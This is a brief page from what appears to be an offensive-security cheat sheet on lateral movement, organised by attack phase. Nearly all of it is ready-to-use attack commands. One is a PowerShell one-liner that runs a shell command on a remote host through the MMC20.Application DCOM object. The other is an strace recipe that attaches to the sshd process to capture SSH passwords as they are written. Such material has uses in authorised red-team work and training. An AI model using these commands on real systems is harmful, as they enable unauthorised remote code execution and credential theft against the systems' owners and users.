4.4-Lateral-Movement.md

4.4 Lateral Movement

Table of Contents

• Lateral Movement via DCOM
• Sniffing SSH Passwords

Lateral Movement via DCOM

"$a=[System.Activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application.1','<RHOST>'));$a.Document.ActiveView.ExecuteShellCommand('cmd',$null,'/c echo <TEXT> > C:\<FILE>.txt','7')"

Sniffing SSH Passwords

$ pgrep -l sshd
6235 sshd
$ strace -f -p 6235 -e trace=write -o capture

Previous

• 4 Exploitation
• 4.1 Defense Evasion
• 4.2 Credential Dumping
• 4.3 Privilege Escalation

Next

• 5 Installation
• 5.1 Persistence
• 5.2 Situational Awareness